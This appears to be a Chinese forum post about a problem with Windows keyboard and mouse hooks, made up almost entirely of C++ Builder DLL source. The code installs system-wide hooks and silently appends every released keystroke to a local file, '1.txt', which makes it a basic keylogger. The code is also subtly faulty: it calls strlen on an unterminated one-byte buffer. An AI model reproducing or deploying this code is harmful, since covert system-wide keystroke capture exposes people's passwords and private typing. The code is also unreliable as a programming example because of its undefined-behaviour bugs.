键盘,鼠标钩子问题 - C++ Builder / Windows SDK/API
HINSTANCE HinstDLL;#pragma argsusedint WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved){ HinstDLL =hinst; return 1;}//---------------------------------------#pragma data_seg ("sharVar")//DLL输出的全局变量extern "C" __declspec(dllexport) HHOOK hKeyHook=NULL;extern "C" __declspec(dllexport) HHOOK hMouseHook=NULL;extern "C" __declspec(dllexport) HHOOK hMessageHook=NULL;extern "C" __declspec(dllexport) HWND parHwnd=NULL;extern "C" __declspec(dllexport) HWND decHwnd=NULL;#pragma data_seg ()void SetHandleProc( HWND GameH );static HWND GameHandle = NULL;MYHOOK_API void IniKeybord(){ hKeyHook = SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,HinstDLL,0);}MYHOOK_API void IniMouse(){ hMouseHook = SetWindowsHookEx(WH_MOUSE,(HOOKPROC)MouseProc,HinstDLL,0);}MYHOOK_API void UnInKeybord(){ if(hKeyHook) UnhookWindowsHookEx(hKeyHook); hKeyHook = NULL;}MYHOOK_API void UnInMouse(){ if(hMouseHook) UnhookWindowsHookEx(hMouseHook); hMouseHook = NULL;}MYHOOK_API LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam){ SendMessage(parHwnd,WM_KEY_HOOK,wParam,lParam); if(nCode == HC_ACTION) { if(lParam & 0x80000000) { char c[1]; c[0] =wParam; FILE *fp = fopen("1.txt","at"); fwrite(c,strlen(c),1,fp); fclose(fp); if(c[0]==13) { c[0]=10; FILE *fp = fopen("1.txt","at"); fwrite(c,strlen(c)/2,1,fp); fclose(fp); } } } return CallNextHookEx(hKeyHook,nCode,wParam,lParam);}MYHOOK_API LRESULT CALLBACK MouseProc(int nCode,WPARAM wParam,LPARAM lParam){ SendMessage(parHwnd,WM_MOUSE_HOOK,wParam,lParam); return CallNextHookEx(hMouseHook,nCode,wParam,lParam);}